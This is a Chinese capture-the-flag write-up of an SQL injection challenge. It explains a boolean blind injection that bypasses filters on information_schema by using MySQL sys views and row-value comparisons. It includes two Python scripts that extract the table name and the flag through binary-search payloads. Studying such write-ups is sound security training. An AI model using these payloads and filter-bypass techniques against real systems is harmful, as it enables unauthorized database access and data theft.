首先从题目名字就能知道这是道SQL注入题
打开题目测一下,输入1打印Nu1L,输入2打印V&N,其他的数字是报没有查询结果的错
加个单引号试试,显示bool(false)
布尔盲注,能够注入出database,但是在注入表的时候出现了问题,因为存在过滤,手测了了一下,or前面有东西就会报错sql注入
in也是一样,加个空格都会die
因此information_schema肯定是用不了了,常用的innodb_table_stats和innodb_index_stats也都不能使用
可以使用sys.x$schema_flattened_keys或者sys.schema_table_statistics(可查看更多,不过此实验环境是一样的,只不过顺序是倒着的)代替,脚本如下
import requests
url = "http://acf1c3ed-5ad4-4550-b71a-d2d28b43281d.node3.buuoj.cn/index.php"
table_name = ""
p = "2-(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{0},1))>{1})"
for i in range(1, 50):
max = 126
min = 43 # + 44 ,
while abs(max - min) > 1:
mid = int((max + min) / 2)
payload = p.format(i, mid)
data = {
'id': payload
}
#print(payload)
response = requests.post(url, data=data)
if response.text.find("V&N") == -1:
min = mid
else:
max = mid
table_name = table_name + chr(max)
print(table_name)
#f1ag_1s_h3r3_hhhhh,users233333333333333,,,,,,,,,,
爆破列名使用的脚本如下
import requests
url = "http://acf1c3ed-5ad4-4550-b71a-d2d28b43281d.node3.buuoj.cn/index.php"
flag = ""
key = ''
for i in range(1, 50):
max = 126
min = 43 # + 44 ,
while abs(max - min) > 1:
mid = int((max + min) / 2)
p = key + str(hex(mid)[2:])
payload = "2-((1,{})>(select * from f1ag_1s_h3r3_hhhhh))".format("0x" + p)
data = {
'id': payload
}
#print(payload)
response = requests.post(url, data=data)
if response.text.find("V&N") != -1:
min = mid
else:
max = mid
flag = flag + chr(max - 1)
#print(flag)
key = key + str(hex(max - 1)[2:])
end = ''
for i in flag:
if i >= 'A' and i <= 'Z':
i = chr(ord(i) + 32)
end = end + i
print(end)
#flag{4c4ae5cd-4a89-4cba-a3ad-386cbbf8e9ce}+++++++
讲解一下关键性代码
payload = "2-((1,{})>(select * from f1ag_1s_h3r3_hhhhh))".format("0x" + p)
上面的举个例子来说,假如我写的是(1,1,1)>(select * from f1ag_1s_h3r3_hhhhh)这样的话,假设这个表里有两列,数据是(1,'flag{}'),那么这样就会出错,因为三列和两列不能进行比较,可以在题目测试
发现语句没有执行成功,故而我们可以这样测试出有多少列。接下来就是注入出数据,还是我们前面的假设,语句换成这个2-((1,'f')>(select * from f1ag_1s_h3r3_hhhhh)),这个后面的结果是为假,因为f是比flag{}小的,而g就大了,但是其实第一位数据是f,因此我脚本后面有个减一。
但是还存在个问题,就是这个是不区分大小写的,使用G的时候也是比flag{}大,所以使用16进制进行比较
最后有一个问题,这个脚本执行出来全是大写,而根据做buuoj的经验,用个for循环全部转成小写
出题人笔记:https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/